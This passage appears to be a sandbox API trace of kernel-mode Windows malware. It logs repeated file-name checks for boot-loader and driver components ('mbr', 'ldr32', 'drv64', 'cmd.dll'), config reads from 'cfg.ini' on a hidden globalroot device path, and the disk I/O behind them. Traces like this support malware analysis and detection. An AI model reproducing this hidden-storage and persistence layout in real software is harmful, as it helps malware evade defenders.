(_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.123] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.123] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.123] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.123] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.123] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.123] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.123] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.123] KeLeaveCriticalRegion () [0118.123] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.123] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.123] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.123] KeEnterCriticalRegion () [0118.123] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.123] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.123] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.123] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.123] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.123] IdePortDispatch () returned 0x103 [0118.124] KeWaitForMutexObject () returned 0x0 [0118.124] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.124] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.124] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.124] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.124] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.124] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.124] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.124] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.124] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.124] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.124] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.124] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.124] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.124] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.124] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.124] KeLeaveCriticalRegion () [0118.124] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.124] ReleaseMutex (hMutex=0x100) returned 1 [0118.124] Sleep (dwMilliseconds=0x2bf20) [0118.144] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x699ca4b0, dwHighDateTime=0x1d24fa4)) [0118.144] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.144] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.144] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.144] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.144] KeEnterCriticalRegion () [0118.144] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.144] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.144] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.144] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.144] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.144] IdePortDispatch () returned 0x103 [0118.145] KeWaitForMutexObject () returned 0x0 [0118.145] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.145] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.145] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.145] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.145] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.145] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039bb820 [0118.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.145] KeLeaveCriticalRegion () [0118.145] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.145] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.145] KeEnterCriticalRegion () [0118.145] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.145] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.145] KeLeaveCriticalRegion () [0118.145] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.145] KeEnterCriticalRegion () [0118.145] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.145] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.145] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.145] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.145] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.145] IdePortDispatch () returned 0x103 [0118.146] KeWaitForMutexObject () returned 0x0 [0118.146] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.146] KeLeaveCriticalRegion () [0118.146] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.146] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.146] KeEnterCriticalRegion () [0118.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.146] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c8a000 [0118.146] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.146] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.146] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.146] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.146] IdePortDispatch () returned 0x103 [0118.146] KeWaitForMutexObject () returned 0x0 [0118.146] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.146] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.146] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.146] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.147] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.147] IdePortDispatch () returned 0x103 [0118.147] KeWaitForMutexObject () returned 0x0 [0118.147] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.147] KeLeaveCriticalRegion () [0118.147] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.147] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.148] KeEnterCriticalRegion () [0118.148] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.148] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.148] KeLeaveCriticalRegion () [0118.148] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.148] KeEnterCriticalRegion () [0118.148] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.148] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.148] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800385cf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.148] KeLeaveCriticalRegion () [0118.148] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.148] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.148] KeEnterCriticalRegion () [0118.148] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.148] ExFreePoolWithTag (P=0xfffffa80039bb820, Tag=0x0) [0118.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.148] KeLeaveCriticalRegion () [0118.148] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.148] ReleaseMutex (hMutex=0xf0) returned 1 [0118.148] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.148] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.148] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.148] KeEnterCriticalRegion () [0118.148] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.148] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.148] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.148] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.148] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.148] IdePortDispatch () returned 0x103 [0118.149] KeWaitForMutexObject () returned 0x0 [0118.149] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.149] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.149] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.149] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.149] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.149] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1810 [0118.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.149] KeLeaveCriticalRegion () [0118.149] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.149] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.149] KeEnterCriticalRegion () [0118.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.149] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.149] KeLeaveCriticalRegion () [0118.149] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.149] KeEnterCriticalRegion () [0118.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.149] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.149] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.149] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.149] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.149] IdePortDispatch () returned 0x103 [0118.150] KeWaitForMutexObject () returned 0x0 [0118.150] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.150] KeLeaveCriticalRegion () [0118.150] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.150] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.150] KeEnterCriticalRegion () [0118.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.150] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c8b000 [0118.150] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.150] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.150] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.150] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.150] IdePortDispatch () returned 0x103 [0118.150] KeWaitForMutexObject () returned 0x0 [0118.150] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.150] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.150] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.150] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.150] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.150] IdePortDispatch () returned 0x103 [0118.150] KeWaitForMutexObject () returned 0x0 [0118.151] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.151] KeLeaveCriticalRegion () [0118.151] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.151] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.151] KeEnterCriticalRegion () [0118.151] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.151] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.151] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.151] KeLeaveCriticalRegion () [0118.151] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.151] KeEnterCriticalRegion () [0118.151] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.152] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.152] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d7820, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.152] KeLeaveCriticalRegion () [0118.152] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.152] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.152] KeEnterCriticalRegion () [0118.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.152] ExFreePoolWithTag (P=0xfffffa80039d1810, Tag=0x0) [0118.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.152] KeLeaveCriticalRegion () [0118.152] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.152] ReleaseMutex (hMutex=0xf0) returned 1 [0118.152] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.152] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.152] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.152] KeEnterCriticalRegion () [0118.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.152] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.152] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.152] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.152] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.152] IdePortDispatch () returned 0x103 [0118.152] KeWaitForMutexObject () returned 0x0 [0118.152] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.152] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.153] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.153] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.153] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.153] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6060 [0118.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.153] KeLeaveCriticalRegion () [0118.153] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.153] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.153] KeEnterCriticalRegion () [0118.153] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.153] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.153] KeLeaveCriticalRegion () [0118.153] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.153] KeEnterCriticalRegion () [0118.153] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.153] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.153] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.153] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.153] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.153] IdePortDispatch () returned 0x103 [0118.153] KeWaitForMutexObject () returned 0x0 [0118.153] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.153] KeLeaveCriticalRegion () [0118.153] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.154] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.154] KeEnterCriticalRegion () [0118.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.154] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c8c000 [0118.154] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.154] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.154] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.154] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.154] IdePortDispatch () returned 0x103 [0118.154] KeWaitForMutexObject () returned 0x0 [0118.154] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.154] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.154] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.154] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.154] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.154] IdePortDispatch () returned 0x103 [0118.154] KeWaitForMutexObject () returned 0x0 [0118.154] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.154] KeLeaveCriticalRegion () [0118.154] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.155] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.155] KeEnterCriticalRegion () [0118.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.155] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.155] KeLeaveCriticalRegion () [0118.155] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.155] KeEnterCriticalRegion () [0118.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 